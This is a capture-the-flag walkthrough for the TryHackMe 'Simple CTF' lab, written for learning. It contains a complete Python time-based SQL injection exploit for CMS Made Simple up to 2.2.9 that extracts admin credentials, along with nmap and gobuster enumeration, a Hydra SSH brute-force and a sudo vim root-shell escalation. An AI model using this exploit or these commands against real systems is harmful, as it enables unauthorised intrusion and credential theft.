Simple CTF writeup [thm]
Beginner level ctf
Simple CTF is yet another challenge from THM.
How many services are running under port 1000?
$: nmap --open -p 0-1000 $target
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http
What is running on the higher port?
$: nmap --open $target
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 2222/tcp open EtherNetIP-1
What is EtherNetIP-1?
EtherNet/IP (IP = Industrial Protocol) is an industrial network protocol that adapts the Common Industrial Protocol (CIP) to standard Ethernet - Wikipedia
Upon closer inspection:
$: nmap -A -p 2222 $target Nmap scan report for $target Host is up (0.049s latency). PORT STATE SERVICE VERSION 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA) | 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA) |_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.28 seconds
We see that it's just a SSH server.
What's the CVE you're using against the application?
I did this part last. See comments down in the conclusion section.
If we run gobuster against the target:
$: gobuster dir -u $target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
We find the following page:
/simple (Status: 301) [Size: 313] [--> http://$target/simple/]
Going to http://$target/simple in a web browser we find an instance of CMS Made Simple running.
By searching in the The Exploit Database for CMS Made Simple we find this SQL Injection.
The above linked exploit contains the CVE number we want and a Python script:
#!/usr/bin/env python # Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9 # Date: 30-03-2019 # Exploit Author: Daniele Scanu @ Certimeter Group # Vendor Homepage: https://www.cmsmadesimple.org/ # Software Link: https://www.cmsmadesimple.org/downloads/cmsms/ # Version: <= 2.2.9 # Tested on: Ubuntu 18.04 LTS # CVE : [REDACTED] import requests from termcolor import colored import time from termcolor import cprint import optparse import hashlib parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)") parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password") parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False) options, args = parser.parse_args() if not options.url: print "[+] Specify an url target" print "[+] Example usage (no cracking password): exploit.py -u http://target-uri" print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist" print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based." exit() url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0' session = requests.Session() dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$' flag = True password = "" temp_password = "" TIME = 1 db_name = "" output = "" email = "" salt = '' wordlist = "" if options.wordlist: wordlist += options.wordlist def crack_password(): global password global output global wordlist global salt dict = open(wordlist) for line in dict.readlines(): line = line.replace("\n", "") beautify_print_try(line) if hashlib.md5(str(salt) + line).hexdigest() == password: output += "\n[+] Password cracked: " + line break dict.close() def beautify_print_try(value): global output print "\033c" cprint(output,'green', attrs=['bold']) cprint('[*] Try: ' + value, 'red', attrs=['bold']) def beautify_print(): global output print "\033c" cprint(output,'green', attrs=['bold']) def dump_salt(): global flag global salt global output ord_salt = "" ord_salt_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_salt = salt + dictionary[i] ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_salt) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: salt = temp_salt ord_salt = ord_salt_temp flag = True output += '\n[+] Salt for password found: ' + salt def dump_password(): global flag global password global output ord_password = "" ord_password_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_password = password + dictionary[i] ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_password) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users" payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: password = temp_password ord_password = ord_password_temp flag = True output += '\n[+] Password found: ' + password def dump_username(): global flag global db_name global output ord_db_name = "" ord_db_name_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_db_name = db_name + dictionary[i] ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_db_name) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: db_name = temp_db_name ord_db_name = ord_db_name_temp output += '\n[+] Username found: ' + db_name flag = True def dump_email(): global flag global email global output ord_email = "" ord_email_temp = "" while flag: flag = False for i in range(0, len(dictionary)): temp_email = email + dictionary[i] ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:] beautify_print_try(temp_email) payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+" url = url_vuln + "&m1_idlist=" + payload start_time = time.time() r = session.get(url) elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: email = temp_email ord_email = ord_email_temp output += '\n[+] Email found: ' + email flag = True dump_salt() dump_username() dump_email() dump_password() if options.cracking: print colored("[*] Now try to crack password") crack_password() beautify_print()
To get this to work I had to manually install termcolor for Python2. I really didn't feel like editing the script just to remove all of the beautifying going on.
To execute the script, run:
$: python2 exploit.py -u http://$target/simple --crack -w /usr/share/seclists/Passwords/Common-Credentials/best110.txt [+] Salt for password found: 1dac0d92e9fa6bb2 [+] Username found: [REDACTED] [+] Email found: admin@admin.com [+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96 [+] Password cracked: [REDACTED]
What's the password?
It's secret and I'm not going to tell you.
Where can you login with the details obtained?
Obviously, it's SSH.
What's the user flag?
$: ssh -p 2222 [REDACTED]@$target $: /bin/bash # get a proper shell $: cat user.txt
Is there any other user in the home directory? What's its name?
$: ls ..
What can you leverage to spawn a privileged shell?
Woo-hoo! It's time for privilege escalation, the most fun part of any challenge.
Let's see what programs we are allowed to run as root but first make sure we have a proper shell:
$: /bin/bash
Then:
$: sudo -l User [REDACTED] may run the following commands on Machine: (root) NOPASSWD: /usr/bin/vim
Oh nice, Vim, my favorite text editor, how convenient!
... [Vim] can be used to break out from restricted environments by spawning an interactive system shell. - GTFOBins
We execute the following simple one-liner:
$: sudo vim -c ':!/bin/sh' $: whoami root $: cd /root $: ls root.txt $: cat root.txt [REDACTED]
We made it!
Conclusion
This challenge got a bit weird for me because I didn't solve it in the indented (?) way. First I investigated the FTP server and found a note:
Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!
The title of the note suggested a possible username so I ran hydra on the SSH server:
$: hydra -V -s 2222 -l [REDACTED] -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt $target -t 4 ssh [ATTEMPT] target $target - login "[REDACTED]" - pass "[REDACTED]" - 92 of 110 [child 1] (0/0) [2222][ssh] host: $target login: [REDACTED] password: [REDACTED] 1 of 1 target successfully completed, 1 valid password found
I got a shell before I exploited CMSMS which made things a bit weird when I had to backtrack and find the CVE number. Not a big deal but it kind of ruined the "flow" of the challenge for me.
I think Simple CTF was a bit too simple anyway so no harm done. This was the first challenge where I just applied various techniques without learning anything or getting stuck somewhere along the line. I guess that's progress. I should probably try to challenge myself more by trying some slightly harder rooms and continuing working on the Offensive Pentesting path.
Tools used:
- Nmap
- Gobuster
- Exploit-db
- CMS Made Simple < 2.2.10 - SQL Injection
- Python2
- Hydra
- GTFOBins
- Vim